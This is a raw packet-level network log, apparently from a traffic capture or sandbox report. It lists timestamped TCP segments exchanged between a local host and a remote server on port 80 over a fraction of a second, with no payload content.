Nov 23, 2024 18:22:12.644468069 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.645205021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.645277023 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.645313978 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.645373106 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.645885944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.645952940 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.646008015 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.646053076 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.646728039 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.646811962 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.646842003 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.646884918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.647592068 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.647672892 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.647706032 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.647748947 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.648472071 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.648536921 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.648602009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.648643970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.649317980 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.649352074 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.649421930 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.649477005 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.650126934 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.650182009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.650243044 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.650285959 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.650985956 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.651034117 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.651063919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.651109934 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.651853085 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.651913881 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.651971102 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.652064085 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.652698994 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.652757883 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.652812004 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.652911901 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.653559923 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.653611898 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.653671980 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.653723955 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.654396057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.654525995 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.654539108 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.654592991 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.655244112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.655293941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.655381918 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.655431032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.656100035 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.656151056 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.656209946 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.656280994 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.656975985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.657053947 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.657082081 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.657196045 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.657829046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.657891035 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.657972097 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.658046007 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.658682108 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.658751011 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.658814907 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.658863068 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.659507990 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.659559965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.659621954 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.659677982 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.660368919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.660495043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.660496950 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.660557032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.661334038 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.661422014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.661508083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.661596060 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.662089109 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.662169933 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.662195921 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.662235975 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.663026094 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.663192034 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.663238049 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.663331985 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.664185047 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.664203882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.664227962 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.664273977 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.664922953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.665009975 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.665014029 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.665111065 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.665579081 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.665618896 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.665695906 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.665750027 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.666335106 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.666424036 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.666491985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.666548014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.667195082 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.667273998 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.667304039 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.667341948 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.668059111 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.668101072 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.668204069 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.668266058 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.668895960 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.668956995 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.668989897 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.669074059 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.669812918 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.669862032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.670062065 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.670126915 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.670624018 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.670667887 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.670866013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.670912981 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.671462059 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.671499014 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.671509027 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.671565056 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.821018934 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.821151018 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.821224928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.821224928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.821281910 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.821331978 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.821336031 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.821383953 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.821979046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.822033882 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.822171926 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.822309017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.822830915 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.822885036 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.823090076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.823153019 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.823210955 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.823344946 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.823970079 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.824050903 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.824059010 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.824100971 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.824784994 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.824908018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.824927092 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.825042963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.825640917 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.825685978 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.825752974 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.825891972 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.826491117 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.826545000 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.826627970 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.826822042 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.827413082 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.827497005 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.827521086 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.827568054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.828187943 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.828238010 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.828310966 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.828406096 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.829030037 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.829133034 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.829143047 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.829219103 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.829988956 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.830048084 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.830048084 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.830113888 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.830995083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.831083059 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.831180096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.831332922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.831624985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.831691027 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.831748009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.831785917 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.832518101 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.832593918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.832741022 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.832815886 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.833304882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.833362103 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.833492994 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.833543062 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.834153891 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.834268093 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.834286928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.834346056 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.835026026 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.835108042 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.835138083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.835180998 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.835864067 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.835908890 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.835983038 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.836030960 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.836736917 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.836822987 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.836852074 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.836890936 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.837585926 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.837656021 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.837685108 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.837733984 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.838469982 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.838532925 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.838598013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.838735104 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.839454889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.839502096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.839514017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.839546919 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.840235949 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.840293884 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.840301037 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.840349913 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.840996981 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.841053963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.841141939 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.841212034 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.841845989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.841892004 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.841958046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.842010021 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.842705965 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.842793941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.842809916 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.842860937 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.843542099 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.843605042 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.843632936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.843714952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.844413996 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.844475031 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.844507933 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.844552994 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.845292091 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.845360041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.845364094 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.845426083 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.846115112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.846229076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.846251965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.846317053 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.846972942 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.847043991 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.847256899 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.847318888 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.847853899 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.847956896 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.847959995 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.848026037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.848711014 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.848761082 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.848782063 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.848838091 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.849548101 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.849589109 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.849670887 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.849731922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.850379944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.850445032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.850507021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.850578070 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.851231098 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.851274967 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.851360083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.851454020 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.852099895 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.852186918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.852268934 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.852314949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.852936983 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.853018999 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.853065014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.853065014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.853786945 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.853867054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.853895903 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.853964090 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.854645967 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.854691029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.854742050 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.854782104 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.855613947 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.855669022 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.855775118 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.855819941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.856337070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.856396914 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.856462002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.856549978 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.857184887 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.857250929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.857414961 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.857461929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.858092070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.858150005 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.858308077 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.858355999 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.858889103 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.858966112 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.859183073 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.859303951 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.859764099 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.859879971 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.860048056 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.860121965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.860600948 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.860654116 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.860713959 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.860758066 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.861435890 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.861493111 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.861560106 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.861638069 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.862351894 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.862415075 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.862445116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.862514973 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.863142014 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.863259077 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.863286018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.863327026 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.863991976 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.864063025 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.864092112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.864236116 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.864846945 CET	80	49755	185.215.113.16	192.168.2.4
